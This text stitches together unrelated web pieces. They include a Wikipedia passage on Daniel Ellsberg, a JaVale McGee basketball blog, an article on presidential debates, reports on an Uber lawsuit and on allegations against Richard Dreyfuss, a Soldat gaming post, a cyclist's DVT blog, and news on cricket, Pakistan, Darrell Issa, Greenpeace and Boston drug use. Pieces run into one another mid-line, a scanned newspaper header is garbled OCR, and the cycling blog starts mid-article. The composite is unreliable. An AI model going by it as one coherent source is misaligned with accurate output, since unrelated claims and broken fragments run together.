In December 2017, Ellsberg published The Doomsday Machine: Confessions of a Nuclear War Planner, a book with his recollections and analysis of a second cache of secret documents related to the U.S. nuclear arsenal. The book stated that US government documents revealed that President Eisenhower empowered a few top military officers to be able to use nuclear weapons without presidential authorization in case there was incapacitation or no way to contact the president. Ellsberg believes that similar procedures remain in place today – in sharp contrast to what the American public is told about how the "nuclear football" works. In the book, Ellsberg revealed that he had made copies of sensitive U.S. nuclear planning materials and memos he had reviewed during his time at the RAND Corporation, and intended to leak them to the public shortly after the Pentagon Papers were published. However, during the time of Ellsberg's trial, these nuclear planning materials were hidden in a briefcase buried in a landfill, and were lost when an unexpected tropical storm descended on the region.[53]
Awards and honors [ edit ]
Ellsberg is the recipient of the Inaugural Ron Ridenhour Courage Prize, a prize established by The Nation Institute and the Fertel Foundation.[54] In 1978 he accepted the Gandhi Peace Award from Promoting Enduring Peace. On September 28, 2006 he was awarded the Right Livelihood Award.[55] He received the Dresden Peace Prize in 2016.[56] He received the Olof Palme Prize in 2018.[1]
Personal life [ edit ]
Ellsberg has been married twice. His first marriage was to Carol Cummings, a graduate of Radcliffe (now Harvard College) whose father was a Marine Corps brigadier general. It lasted 13 years before ending in divorce (at her request, as he stated in his memoir Secrets). They have two children, Robert Ellsberg and Mary Ellsberg. In 1970, he married Patricia Marx, daughter of toy maker Louis Marx. They lived for some time afterward in Mill Valley, California.[57] They are the parents of a son, Michael Ellsberg, who is an author and journalist.[58][59]
Books [ edit ]
Films [ edit ]
See also [ edit ]
References [ edit ]
Further reading [ edit ]What if I told you that there was a chance you could see JaVale McGee and Andray Blatche play together on the hardwood one more time? The duo that once got suspended for getting in a fight outside a D.C. club on Christmas Eve and would probably be Shaqtin' A Fool First-Ballot Hall of Famers if such a thing existed. If I told you they were going to get back together, how much money would you pay to see it? Twenty bucks? Five? Would we have to pay you to watch?
Well, it appears like the Philippine National Team wants to give everyone another chance to watch these two play together again. You may recall after a disappointing trial run with Team USA in 2010, JaVale McGee surprised everyone when he announced his plans to become a naturalized Philippine. While the move makes some sense from a marketing perspective (he has a shoe deal with PEAK, a Chinese shoe manufacturer) it's still not all that common to see someone give up a chance of making Team USA to become the alpha dog for another nation.
Now, it appears he might have some company, according to The Philippine Star:
"We're in discussion with Javale. However, he's just found out that he needs to undergo a procedure for his shin injury. With that development, it's prudent also to choose a backup. Blatche agreed to undergo the naturalization process. He wants to play for the Philippines," said Reyes. In his bills, Puno said "naturalizing McGee and Blatche will strengthen the Philippines' chances in reclaiming its dream as one of the world's basketball greats during the FIBA World Cup."
For what it's worth, Blatche seems to be REALLY excited about possibly joining the team:
Today, Andray Blatche says that he's half Filipino and his new name is Young Seymour, because we all want "See more of him." — Stefan Bondy (@NYDNInterNets) January 30, 2014
The only question is, why stop there: Nick Young isn't on anyone's national squad at the moment and I'm sure the team could use some more scoring. Plus, the team wouldn't even need to make a commercial to get fans excited about their Big 3:
Of course, there are concerns, but we think they're pretty silly. It's just three guys getting back together in Southeast Asia. We've seen this movie before.From Al Gore’s loud sighing to Jimmy Carter saying he consulted his 12-year-old daughter on nuclear proliferation, presidential debates are full of memorable moments. But despite the fanfare that surrounds each election cycle’s televised events, historical data shows the debates are rarely game changers.
“There are a handful of cases in which a debate had a notable effect on the polls,” political scientist John Sides says. “But most debates don’t produce that kind of shift.”
A 2008 Gallup study found that between 1960 and 2004, there were only two years where debates made a difference in actual votes. Instead, the most common outcome of the presidential debates is a slight popularity bump. But that bump doesn’t necessarily translate into votes.
“They sometimes have a short-term effect, a bounce in response to the debates, but at the end of the day there often is not much of an effect,” says Robert Erikson, author of The Timeline of Presidential Elections.
Data from the Gallup study also saw no direct correlation between the winner of each debate and the winner of the presidency. The 2004 Kerry vs. Bush debate was cited as an example. Kerry was considered the victor of all three showdowns, but still lost the election.
There are numerous factors responsible for the disparity between who “wins” the debates and who wins the election. Political scientists say one of the biggest reasons is that those who are watching the debates already have their minds made up.
“By [debate] time voters have pretty much picked their candidates,” says Erikson. “Some are undecided, but they are probably not paying attention…People who are political and have a party affiliation are hard to dislodge by the debates. And those rooting for their favorite candidate, even if he is doing poorly, aren’t necessarily going to change their mind.”
Even if a large number of open-minded, undecided voters watch the debates, history shows that the events are typically lackluster and therefore unlikely to influence a person’s interpretation of a candidate.
“Usually the candidates fight to a draw. They are well prepared and the format of the debates gives them equal time,” Sides says. “So it’s hard in that context to have a stunning victory or a terrible defeat.”
But Allan Louden, political communications professor at Wake Forest University, says the debate’s tendency to reinforce impressions of a candidate is a benefit in disguise.
“Debates are extremely important even when they don’t move polls because they solidify the prevailing narratives,” he says.
Using the 1988 debates between Michael Dukakis and George H. W. Bush as an example, Louden says that many were initially wary of Dukakis as being a “technocrat who shows no emotion.” And when Dukakis responded to the question of whether he would ask for the death penalty if a man raped and killed his wife with an unemotional “No,” he reinforced that image.
“The debates only work with the rest of the messaging with what people believe. They amplify and they solidify, but they don’t necessarily convert a lot of people,” Louden says.
The only two debates that were found to have a notable effect on the election was the first televised debate between John F. Kennedy and Richard Nixon in 1960 and a debate between Al Gore and George W. Bush in 2000.
The Gallup report calls these particular debates the “two exceptions” to the rule “whereby the ultimate winner moved from a deficit position to front-runner.”
Kennedy and Nixon were nearly tied in the polls going into their first debate, but Kennedy wowed the audience with his charisma while Nixon sweated under the TV lights. At the end Kennedy had a 4-point lead. In the 2000 debates Gore came in with an 8-point lead, but a shift toward Bush by the third debate, and perhaps the media commenting on Gore’s perpetual sighing during the first debate, put Bush at the end leading by 4.
“I think you have to have a relatively clear difference in performance. One candidate has to appear that much better or worse than the other. And how that happens, there is no one recipe,” Sides says.
But political analysts say a similar show is unlikely to happen for the Obama vs. Romney debates that start Oct. 3.
“The home camps have been notified this election that they are supposed to show up. I don’t see a lot of movement,” Louden says.
Sides has a similar prediction, saying the presidential candidates are typically so prepped for the debates that they rarely stray from their talking points. So, what happens during the debates is likely to just be more of the same and not enough to pull a voter in either direction.
“History doesn’t suggest that there’s going to be a big shift. It doesn’t rule it out, but it’s unlikely,” he says.A Cook County woman filed suit Wednesday against Uber Technologies Inc. and one of the company’s drivers, alleging that earlier this month, the driver made unwanted advances and fondled her.
The lawsuit, filed in Cook County Circuit Court, alleges that a driver who picked her up March 8 began driving the wrong way and, after the plaintiff moved up to the front seat to help navigate, began commenting on her appearance and asking her to go out with him.
The driver’s behavior escalated to the point where he “repeatedly fondled (plaintiff’s) legs, groin area and breasts,” according to the lawsuit.
She threatened to call police once the driver entered Lake Shore Drive, and the driver tried to make her get out, the lawsuit said. The driver pulled off at Diversey Avenue and Clark Street and begged her not to tell anyone what he had done, according to the lawsuit.
An Uber spokesperson said in an emailed statement Wednesday night that the driver’s account was deactivated after the plaintiff contacted the company.
The lawsuit didn’t specify whether the driver worked for Uber, a black-car livery service that is regulated like a taxi company, or Uber X, which is a ride-share service. The two have the same corporate owner.
The plaintiff’s attorney hadn’t returned a request for comment Wednesday night.
mmrodriguez@tribune.com | @merjournHappy birthday Soldat!
I've recently returned to playing Soldat and it's still a game I've fallen in love with 15 years ago.
Simple, yet so full of posibilities. It's sad seeing it in the state it's in right now, but it will endure atleast for a while yet, I believe.
There have been many memorable moments over the years, I guess I could name a few.
- In my only SCTFL tournament win, while not playing the first map, I was on voice chat with the clan. I went away to get something, and accidentaly stepped on my headset's line and tore it out. Because of this it was decided I can't play the map I was supposed to play. In my desperation I went to my neighbour which I knew used to game, but I barely knew otherwise, and asked his Mom(he wasn't home) if I can borrow a headset. Ofcourse she looked at me sideways and sent me away. We won the finals but I didn't get to play.
- There used to be a secret fun clan called "The Fluffos" where we assumed secret fluffo alteregos. We were seperated by color. I was "The Silver Fluffo". All of us in this clan were good players in good clans but we used this to play for fun and fuck around. We played clanwars with silly restrictions like playing knife only, triple m79 lineups, weird tactics and so on. I believe it was started by TomPenny, an oldie fellow Slovenian player.
- The hate for the left. Still not sure if by design or simply a bug, but Barrett used to shoot differently when aiming to the left side. It was sometimes kinda random and weird, so back in the day of no delay or bink barret having the left side on a map was very advantageus, especially on larger barrett friendly maps.
But ofcourse, some players took that as a challenge and to a degree mastered the random shot! Urhos was one of them, and probably the greatest Leftie Barretter ever.
- Soldat used to be on ESL - Electronic Sports League! There was quite an active 1on1 league going on, with occasional tournaments.
- There was a patch somewhere along the line where you could shoot the LAW while prone(SUPERMAN LAW!), which led to a huge increase in Barrett+LAW combos which basically doomed that mechanic to failure and it was removed the next patch. It was OP as hell but very satisfying.Actor Richard Dreyfuss has now been added to the list of powerful Hollywood men who’ve been accused in recent weeks of sexually harassing (or more) the women in their orbits. According to a new Vulture piece published today, Dreyfuss—who recently made headlines with his public support of his son, Harry, who talked to Buzzfeed about an incident in which Kevin Spacey allegedly groped him—has been accused of exposing himself to and otherwise harassing writer Jessica Teich during a working relationship formed between them in the 1980s.
Teich says she met Dreyfuss—already a rich, successful Oscar-winner—in 1984, and he hired her to work on a project he was gestating, a vaudeville tribute to the U.S. Constitution in honor of its 200th birthday. During a scheduled script meeting to discuss the project, Teich says she entered his trailer on a film set, only to find him exposing himself to her.
I remember walking up the steps into the trailer and turning towards my left. And he was at the back of the trailer, and just—his penis was out, and he sort of tried to draw me close to it. He was hard. I remember my face being brought close to his penis. I can’t remember how my face got close to his penis, but I do remember that the idea was that I was going to give him a blow job. I didn’t, and I left.
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Per Vulture, that incident was just the most extreme of a long pattern of sexual harassment Dreyfuss allegedly committed against Teich, who says he “created a very hostile work environment, where I felt sexualized, objectified, and unsafe.” Other alleged actions included attempting to kiss her in professional settings, slipping her frequent and unwanted love notes, and sidling up to her and whispering “I want to fuck you” in her ear. Once, during a business trip, he allegedly told her, “He’d spent the night with his ear next to the wall, listening to my movements in my hotel room.”
Dreyfuss quickly responded to Vulture’s request for comment on Teich’s allegations, denying that he ever exposed himself to her, but admitting to (and apologizing for) a pattern of harassing behavior to the women around him, phrasing his interactions with his employee as “a consensual seduction ritual that went on and on for many years.”
I value and respect women, and I value and respect honesty. So I want to try to tell you the complicated truth. At the height of my fame in the late 1970s I became an asshole–the kind of performative masculine man my father had modeled for me to be. I lived by the motto, “If you don’t flirt, you die.” And flirt I did. I flirted with all women, be they actresses, producers, or 80-year-old grandmothers. I even flirted with those who were out of bounds, like the wives of some of my best friends, which especially revolts me. I disrespected myself, and I disrespected them, and ignored my own ethics, which I regret more deeply than I can express. During those years I was swept up in a world of celebrity and drugs – which are not excuses, just truths. Since then I have had to redefine what it means to be a man, and an ethical man. I think every man on Earth has or will have to grapple with this question. But I am not an assaulter. I emphatically deny ever “exposing” myself to Jessica Teich, whom I have considered a friend for 30 years. I did flirt with her, and I remember trying to kiss Jessica as part of what I thought was a consensual seduction ritual that went on and on for many years. I am horrified and bewildered to discover that it wasn’t consensual. I didn’t get it. It makes me reassess every relationship I have ever thought was playful and mutual. There is a sea-change happening right now, which we can look upon as a problem or an opportunity. We all of us are awakening to the reality that how men have behaved toward women for eons is not OK. The rules are changing invisibly underneath our feet. I am playing catch up. Maybe we all are. I hope people can join me in honestly looking at our behavior and trying to make it right. We have to relearn every rule we thought we knew about how men and women interact, because after all getting together is the most fundamental human compulsion. And if we don’t succeed in that, what do we have? I hope this is the beginning of a larger conversation we can have as a culture.
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For her part, Teich—who came forward with her story after seeing Dreyfuss be praised for her response to the Kevin Spacey story—expressed regret that the actor couldn’t be fully honest about his actions toward her, and questioned the idea that she and he were “friends.” “I’m not that guy’s friend. I haven’t seen that guy or spoken to him in 25 years,” she said. (She also questioned his use of the word “flirt,” and its connotations of her complicity in his behavior toward her.) “But,” she added, “As a person, I respond to the sense of hurt that underlies his words, and something in me feels compassion for him, even though he made my life hell. And that’s part of the complexity of the whole thing, I think.”The original ToeJam & Earl was a quite a big hit for Sega at the time so it was a no-brainer than a sequel should be released. With the success of Sonic the Hedgehog it must have seemed like a logical step to reinvent ToeJam & Earl to be a 2D side-scrolling platform game as well. The exploration of an almost open-end world and long...
About The Game
During ToeJam and Earl's trip back home, a number of Earthlings hitchhiked on their spaceship and are now infesting planet Funkotron. ToeJam and Earl must track down the Earthlings in order to capture them in large jars and ship them back to Earth in spaceships.
It is also their funky mission to find 10 beloved objects belonging to Lamont the "Funkapotamus," the source of all funk in the universe, so they can persuade him to return to his favorite funk-filled planet. ToeJam and Earl must use their "funk powers," such as Funk Move and Funk Scan, to assist in evading and capturing the Earthlings.Newspaper Page Text
JLAND ARGUS
Aociated Prett
Leased Wire Report
Member of Audit
Bureau of Circulations
sixtv-i turn rn vkvh. m. m;.
WKDXKSDAV..MAY 2. WIS. FOURTEEN PAGES.
PRICE TWO CENTS.
erican
ROCK K
DAM |
But staying too high too long, or going too high too fast, is a known trigger for clotting. Long journeys – everyone knows about the association of DVTs and long haul flights. But you don’t have to be in a plane at 20,000 feet. Sitting in a cramped space in a car, bus of train for an extended period of time can have the same effect. How often do racing cyclists bundle themselves back into their cars after races, dehydrated, and drive for several hours without moving or stretching their legs. A prime opportunity for clotting. One for the girls – the combined contraceptive pill. Another trigger that most people know about. And young women who want complete control over their bodies so they can maximise training and racing will go on the pill for reasons other than contraception (e.g. To control frequency, heaviness and pain of periods). And although the combined pill is not recommended for women over the age of 35, the more mature ladies racing often pass under the radar as they (or should I say ‘we’) don’t look that old and are left on the pill too long.
There are obviously things we can all do to reduce the risk factors. Beyond this, as I mentioned, some of us can be genetically predisposed to DVTs. There are several genetic mutations, the best known being Factor V Leiden. These are some of the first things that are tested for with an unprovoked DVT. If you have family history of clotting, you may be able to persuade your GP to refer you for testing before any symptoms. I was tested 20 years ago, with negative results, hence my assumption about not being genetically predisposed.
Aside from wanting to get an answer to the question ‘why me?’, it was also absolutely essential for me to understand the prognosis for getting back on the bike and back to racing. To be honest, there is a sparse smattering of information out there. I couldn’t even get a definitive answer on ‘what happens to the clot’, let alone ‘when can I start walking / running / cycling?’ Just as with other more standard injuries like fractures, NHS doctors treat everyone the same, and don’t really think about why a highly trained elite athlete might need something different. With a DVT, the immediate risk of exercising is dislodging the clot and sending it on a beeline towards the heart, causing the much worse Pulmonary Embolism (which can be fatal). Intensity (I.e. Heart rate) needs to be kept ridiculously low. Some advice I read said 2 weeks of gentle walks only, but the trusted source I found, an NHS consultant with a specific interest in Thrombosis and cycling, said 4 weeks. So, 4 weeks it was! I can’t say my walks were gentle, but I got away with it. I then did 2 weeks at my Level 1 intensity (not even fat-burning), and at 6 weeks was given the freedom to push up to my aerobic limit. At 8 weeks I was assured that I could train unrestricted. I started racing (time trials only) in Week 11.
Time after clot Training Intensity 0-4 weeks Gentle walking only 5-6 weeks Level 1 cycling 7-8 weeks Fat-burning / endurance (Level 2) cycling 9+ weeks Full intensity
A secondary, but equally important consideration is the secondary risk associated with the blood thinning medication. Other cyclists I spoke to who have suffered DVTs commented that they had opted not to risk any training where the risk of drawing blood was elevated, and therefore opted to train only on the turbo for the entire course of treatment. Although this was a risk for me too, another equally big risk was my mental health.
So many cyclists I know use cycling as a way to manage stress, anxiety or depression. To suddenly have that sense of freedom and relief taken away for 4 weeks, let alone 3 months is immensely difficult. I was hugely relieved when my consultant suggested that riding on the road was fine as long as I was careful and always wore a helmet. Road racing was clearly not an option, but I wouldn’t have enjoyed them anyway having lost a lot of fitness in the 4 weeks of doing nothing. Much more important was spending the time to re-build fitness, strength and confidence. I didn’t have to race at all while on medication, but with recovery going very well, I decided with my coach it was worth doing a couple in preparation for some post-medication target races.
I have experienced some other side effects of the medication. It feels like months since I had a really good nights sleep. Not being able to get to sleep and waking early have become the norm. Training has made me much more tired than I have come to expect over the years, so I have found myself having to focus much more on recovering. Getting dizzy and light-headed on a frequent basis is something else I have had to deal with, and this was noticeable and slightly scary in the two time trials I did.
So, in summary, I have learnt not to take my health for granted. DVT is only one of many conditions that can come along to knock us down. We can all mitigate the risk by exercising, eating healthily and staying hydrated. But you can never predict what life will throw at you. I want to raise awareness of this condition so that others can recognise the risk factors and symptoms, and catch the condition before it gets more serious.
There are vague plans for a fundraising event for Thrombosis UK, watch this space!
About the Author: Hi, I’m Karen (Poole) and I’m super-excited that Cycling Torque have invited me to be one of their guest bloggers! As a friend recently said in his blog, I am a ‘self-proclaimed gob-shite’ from Yorkshire. I’ve classed cycling as my first sport since 2011 (after ‘retiring’ from international orienteering when I decided I was too old!), although I have very early memories of me riding a bike around the leafy lanes of the Cartmel peninsula in Cumbria, so have probably always had cycling in my blood.
I might be a competitive cyclist, but nothing beats the sheer joy of a long hilly ride in the beautiful landscape that is Great Britain, exploring new roads and meeting new people with a common interest. I hope you enjoy reading my ‘Ramblings on Two Wheels’. If you want to know more you can follow me on @karenpoole44 (Twitter), @Hambletonhobbit (Instagram) or find me on Facebook.A woman whose apartment was burned in the high-rise crash of New York Yankees pitcher Cory Lidle’s plane was the victim of another frightening, bizarre and high-profile Manhattan accident years earlier, when a lamppost knocked over by a parade float seriously injured her.
Kathleen Caronna and her family were unhurt in Wednesday’s crash, which killed Lidle and his flight instructor, Tyler Stanger. But the engine of the Cirrus SR20 landed in her bedroom, which went up in flames minutes before she would arrived home, her relatives told the Daily News in Friday’s editions.
“How do you go through two major things like this?” Caronna’s sister-in-law, Lisa Brown, told the paper. “It’s spooky. It’s very spooky.”
Caronna was critically injured during the 1997 Macy’s Thanksgiving Day Parade when the mammoth Cat in the Hat balloon went out of control and knocked part of a lamppost onto her head. The then-33-year-old investment analyst lay in a coma for nearly a month.
Caronna had been watching the parade with her husband and infant son at 72nd Street and Central Park West. The plane crash occurred at 72nd and York Avenue, several blocks east.
The phone rang busy Friday at the apartment on Manhattan’s Upper East Side that she shares with her husband, Ignazio Massimo, and their son, now 9.To the person who let off fireworks from 3.30am till 5.20am last night
by Emily
I just want you to know I’m going to find you.
A sleep deprived mother is basically more terrifying than Liam Neeson. You need to know that.
And you should be scared. Because when I find you I’m going to pay you back for waking my kids and me by letting off fucking fireworks at fucking three fucking thirty am till five fucking twenty am.
It may take me years to find you. But that’s OK – I’m committed.
One night you’re going to be asleep. Like I was. When you fucking woke me up.
At 3.30am I’m going to begin a fireworks display, in your room, on you.
From 3.30am till 5.20am. For your enjoyment.
I’m not going to do this every night forever, that would be crazy. But it would also be predictable – and I want you to never know when I’m going to suddenly turn up and shoot fireworks at you.
Before a big exam – I’m going to shoot fireworks at you. Before job interviews, just as you are psyching yourself up in the lift, the doors will open, and I will be there – to shoot fireworks at you. Your first date with that person you’ve been talking to online for months? I’m under the table, and just when you are about to pash I’m going to jump out and shoot fireworks at you.
It’s going to be very hard for you to maintain relationships. When you find that special person who can look past the fact that a mother of two covered in war paint follows you everywhere shooting fireworks at you, I will be quietly pleased.
We have formed an attachment to each other over these past 12 years.
I feel quite teary as I pull off my celebrant mask to reveal myself and shoot fireworks at you for almost two hours at your wedding.
Your new life partner is quite devastated that part of her wedding dress caught fire during the ceremony and again at the reception, but I make no apologies when I burst out of your mattress and shoot fireworks at you when you try to console her in your fancy hotel room.
You did this.
You made the choices you made.
As I emerge from the birthing pool in the delivery suite and shoot fireworks at you at the birth of your first child I wonder if I have gone too far.
You beg me to stop. You’re sorry! You know you were an insensitive dickbag who woke up children and kept everyone awake because you’re a massive jerk. Now that you’re a parent you see the world differently.
I look upon you kindly, I see you more than my own family. I almost feel fond of you. Maybe it is time to stop.
OK I say. You’ve learned your lesson.
You drop to your knees and sob. After 18 years together we have reached our graduation.
That night you have the best sleep you’ve ever had in your life. There is no sense of dread anymore as you close your eyes. You feel free.
Until 3.30am when I burst forth and shoot fireworks at you.
….
Don’t let off fucking fireworks outside of fucking Guy Fawkes Night and after fucking 10pm.
***
If you liked this, follow me on Facebook for more of the same. I’m on Instagram too!THE NORTHERN IRELAND Justice Minister has announced plans to change the law to allow children as young as 12 to use airguns or shotguns in strictly supervised situations.
At present, the lowest age limit is 16. It follows calls from the Northern Ireland Firearms Dealers and Shooters Association and the British Association for Shooting and Conservation.
The Minister’s decision was made following public consultation and discussions with PSNI Chief Constable Matt Baggott, the BBC is reporting.
According to a spokesperson for the Department: “Following public consultation and having considered the view of the chief constable, Justice Minister David Ford has decided that the age at which a young person may have supervised access to air guns or shotguns will be reduced to 12 years of age.
“This will require further consideration of the detail to ensure appropriate supervision by a suitably experienced adult.”
Steward Dickson of the Alliance party, who is a member of the Stormont justice committee said that although he was “nervous” about the decision, he wouldn’t be opposing it, adding that use by 12-year-olds would be in “extremely supervised circumstances”.
He said one of the factors was that in sport, young people hoping to compete in the Olympics or the Commonwealth Games weren’t getting an early enough start.
The two shooting organisations had favoured lowering the age limit to 10.Norwegian Nazi Zombies? You've Got To See This Trailer!
So I really don't know what's going on, but this trailer for a film called Dead Snow looks pretty damn exciting. The story follows a group of friends who drive to a cabin in Norway where German troops were slaughtered by locals in 1945. Now the undead zombie Nazis are coming alive to feast. Besides zombies, there's snowmobiles, dark cabins, and well, more zombies! Just ignore the foreign dialogue and check out what could potentially be a cult classic. All I know is I want to catch a screening of this as soon as possible. And thanks to Quiet Earth (via SlashFilm) for first discovering this - you've made my day!
Watch the foreign trailer for Dead Snow:
[flv:https://media2.firstshowing.net/firstshowing/deadsnow-norwegian.flv https://media2.firstshowing.net/firstshowing/deadsnow-norwegian.jpg 480 270]
For more info, head to the official website for the film: dodsno.no
Dead Snow ( aka Død Snø) is both written and directed by Tommy Wirkola, of Kill Buljo: The Movie previously. The script was co-written by both Wirkola and writing partner Stig Frode Henriksen. This hits theaters in Norway in January courtesy of Euforia Film. Unfortunately Dead Snow doesn't have a US distributor yet, although I hope it picks one up soon. Check out one of the posters below.
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Sorry, no commenting is allowed at this time.The ICC World Twenty20 Qualifier is scheduled to be held from 6 July – 26 July
Hosts Jersey beat Guernsey by four wickets to top the European T20 group and advance to the ICC World Twenty20 Qualifier in July.
The win for Neil MacRae's side, coupled with Italy's final-day defeat, means the islanders finish first, above Denmark on net run rate.
Jersey could come up against Afghanistan and the Netherlands in the next stage, which will be hosted in Ireland and Scotland.
Guernsey finished fourth in the table.
Team Played Won Lost Points Net Run Rate Jersey 5 4 1 8 +1.556 Denmark 5 4 1 8 +0.779 Italy 5 3 2 6 +1.502 Guernsey 5 3 2 6 -0.040 Norway 5 1 4 2 -2.599 France 5 0 5 0 -1.090
"I think certainly in T20 format this will be our biggest ever result," MacRae told BBC Radio Jersey.
"It's been an unbelievable effort from all 14 players and they deserve huge credit."
Having won both their games on the opening day, Jersey lost to Denmark by seven wickets, former Derbyshire county player Freddie Klokker doing the damage with a speedy 31 runs.
However, they bounced back with a 19-run victory later in the day against France to give themselves a chance of winning the tournament.
Jersey wicketkeeper Ed Farley in action against Denmark
"We had a magnificent start on Saturday in the win over Italy and I was just getting a sense that we were starting to excite our supporters," added MacRae.
"To do the business, play the best that we could and to win the game - I think we deserved to win this."
Corne Bodenstein top-scored for Jersey against their island rivals with 36 runs from 28 balls, while Nat Watkins took four Guernsey wickets.
Jersey will be one of 14 teams in the next stage of qualification, with the top six making it to the first round of the global tournament in India.The Pakistani arm of the Taliban has denied responsibility for a recent series of terrorist attacks in Pakistan, instead pointing the finger at Xe Services, the security contractor formerly known as Blackwater, as well as the country’s own security services.
“The Tehreek-e-Taliban are not responsible for the bombings, but Blackwater and Pakistan’s spy agency are behind them,” said Pakistani Taliban spokesman Azam Tariq, according to a translation from Al-Jazeera English.
”The dirty Pakistani intelligence agencies, for the sake of creating mistrust and hatred among people against the Taliban, are carrying out blasts at places like the Islamic university, Islamabad, and the Khyber bazaar, Peshawar,” the Associated Press quoted Tariq as saying.
The Taliban’s new talking point is likely an attempt to capitalize on anti-American conspiracy theories circulating among the Pakistani public.
Blackwater’s “operatives are often viewed by Pakistanis as akin to CIA agents and local conspiracy theories sometimes assert that the US with the help of Blackwater, rather than the Taliban, are responsible for the suicide attacks,” reports the Christian Science Monitor.
CNN reports that Blackwater denies having any contracts in Pakistan.
“We have no contracts in Pakistan,” Xe spokeswoman Stacey DeLuke told CNN. “Our competitor holds that WPPS (worldwide personal protection services) contract. … We’ve been blamed for all that has gone wrong in Peshawar, none of which is true, since we have absolutely no presence there.”
But the Christian Science Monitor reported on Monday that the company “now provides security for a US-backed aid project” in the city of Peshawar.
Peshawar was the site of a deadly market bombing late last month that left 117 people dead. That attack was one of several in which the Taliban explicitly denied involvement. The group also disavowed an attack last Friday on the offices of the ISI, Pakistan’s spy agency, which left at least 10 people dead.
The notion that some of Pakistan’s terror attacks were “inside jobs” by the Pakistani government and American agencies designed to shore up support for the US-led war on terror has been gaining popularity in Pakistan, not least because some of the attacks in recent years have suggested collusion between the attackers and security forces.
“In previous terror attacks in Pakistan, the perpetrators appeared to have considerable intelligence about their targets,” reported the UK’s Independent in March. “Car bombers have struck at army and anti-terror police headquarters in the past two years without the slightest hindrance.”
The Taliban may have had good strategic reason to speak up against Pakistan’s recent spate of violence: They may be attempting to avoid another aggressive campaign by the Pakistani army.
A report in the Pakistan Daily Times states that “the recent wave of terror attacks … has sparked outrage against the Taliban, with public opinion fast swinging in favor of a military offensive in South Waziristan.”The White House is refusing to allow political adviser David Simas to respond to a subpoena from House Oversight chairman Darrell Issa.
White House counsel W. Neil Eggleston says Issa has no power to compel Simas to testify at a hearing Wednesday morning about whether the office he runs has been engaged in improper political activity in violation of the Hatch Act, which bars federal employees from such activities as campaign fundraising and explicit political support. Eggleston cited a new opinion from the Justice Department’s Office of Legal Counsel that cited precedents going back to Presidents Harry Truman and Richard Nixon of executive privilege being asserted against testimony by White House aides.
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Issa responds that in a case brought by congressional Democrats in 2008 against the Bush White House, a federal judge found that the idea of absolute immunity of a White House official from a congressional subpoena was “unprecedented” and held that presidential aides are “not absolutely immune from congressional process.”
“Flouting a federal judge’s opinion about our system of checks and balances is yet another attack on our nation’s Constitution by this president,” Issa said in a statement late Tuesday night. “This hearing seeks to examine a political office embedded within the White House which, under Democratic and Republican administrations, has had a controversial role of coordinating political campaign activity for the president at taxpayer expense.”
Issa has a troubling stack of examples of Hatch Act violations by federal officials during the Obama administration. Most notably, the U.S. Office of Special Counsel found in 2012 that Health and Human Services Secretary Kathleen Sebelius had violated the Hatch Act during a political swing through North Carolina earlier that year.
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Another example was revealed this week when it came to light that attorney April Sands, who worked for Lois Lerner at the Federal Election Commission before she moved to run the now-infamous nonprofit division of the IRS, has been forced to leave the government over Hatch Act violations.
Sands admitted to violating the Hatch Act by soliciting political contributions via Twitter and conducting political activity through her Twitter account while on duty. The FEC’s Office of Inspector General wanted to pursue criminal charges against her but was stymied when it was found the FEC had “recycled” Ms. Sands’s hard drive before the OIG was able to seize it. Justice Department officials then declined to prosecute due to a lack of evidence.
Recall that Lerner herself saw her own hard drive damaged while she was at the IRS, with the subsequent loss of two years of e-mails. As a result, it will be much more difficult to establish if Lerner was coordinating her targeting of conservative nonprofit groups with the FEC, Justice Department, or the White House.
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Chairman Issa hasn’t revealed what sparked his interest in the activities of the White House’s political office, but his hearing today may provide some clues even if his star witness refuses to show up.By Jeremy Hance / Mongabay
According to a new report by Greenpeace, top U.S. car companies such as Ford, General Motors, and Nissan are sourcing pig iron that has resulted in the destruction of Amazon rainforests, slave labor, and land conflict with indigenous tribes. Spending two years documenting the pig iron trade between northeastern Brazil and the U.S., Greenpeace has discovered that rainforests are cut and burned to power blast furnaces that produce pig iron, which is then shipped to the U.S. for steel production.
“Despite attention to the problem over the years, little has been done and household consumer products in the U.S. can still be traced back to illegalities and forest destruction in the Amazon,” the Greenpeace report reads.
Brazil’s Carajás region is home to 43 blast furnaces used by 18 different companies, of which Viena is the largest. The blast furnaces depend largely on illegal camps that cut and burn rainforest for charcoal.
“These camps are built in a matter of days, located in difficult to access areas and, if shut down by authorities, frequently spring up again in another location. They are built next to wood sources, including illegally in protected areas and indigenous lands,” the report reads, noting that labor conditions in the area are often similar to slavery. Often forced to work seven-days-a-week in hazardous and toxic conditions, workers are fleeced of salaries by imaginary debts.
The massive pig iron production in the region has been actively promoted by the Brazilian government and financed in the past by the World Bank, the European Economic Community, and the Japanese government. However, such promotion has not kept the industry clean as Greenpeace documented several types of fraud, from running an operation without a license to creating fake companies to keep timber sources hidden. Not surprisingly, much of the fuel comes from illegal logging.
Greenpeace linked two of the largest pig iron companies, Viena and Sidepar, to a steel mill in the U.S. run by Severstal and from there to major car manufacturers like Ford, General Motors, BMW, Nissan, and Mercedes. Viena also exports its pig iron to Cargill, Environmental Materials Corporation, and National Material Trading, which in turn sells the steel to John Deere.
“Greenpeace’s research found Viena and Sidepar fueling their foundries with illegal charcoal connected to the region’s pandemic illegalities including slavery, illegal logging and deforestation, and invasions into indigenous lands,” reads the report.
Around 70-80 percent of the region’s forests have been lost already, with the bulk of it since pig iron production began in the mid-1980s. With forest running out in the region, loggers are now entering indigenous lands and conservation areas. Some indigenous tribes, such as the Awá and the Alto Rio Guamá, have lost over 30 percent of their land to the illegal loggers.
“Loggers flagrantly violate the law and bring in multiple trucks for hauling away timber and often enter indigenous lands well armed,” reads the Greenpeace report.
Despite this issue being in the media since 2006, companies have taken little action or responsibility according to Greenpeace.In a CBS Evening News report on Monday that followed a day in the life of a Boston-area drug user, viewers watched as 30-year-old addict Jason Amaral searched for an available bathroom downtown to get high.
Amaral decided to use a bathroom open to all Bostonians—the one in City Hall. He proceeded to bring several pills of Klonopin into a basement bathroom, crush them against a toilet, and then snort the powder through rolled up cash.
The footage of that drug use was “inappropriate and disturbing,” Mayor Marty Walsh spokeswoman Bonnie McGilpin said in a statement on Tuesday. Still, McGilpin said City Hall—and its bathrooms—would remain open to the public.
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“Access to City Hall and the safety of all occupants is paramount,” she said. “While this footage is inappropriate and troubling, Boston City Hall is the people’s building and it will continue to be open to the public to serve all of our residents.”
The CBS Evening News video of Amaral served to highlight the everyday existence of those in the grips of drug addiction, which has touched people across New England.
In 2015, 126 people in Boston died from opioid-related overdoses, double the total from 2012, according to data from the Massachusetts Department of Public Health.
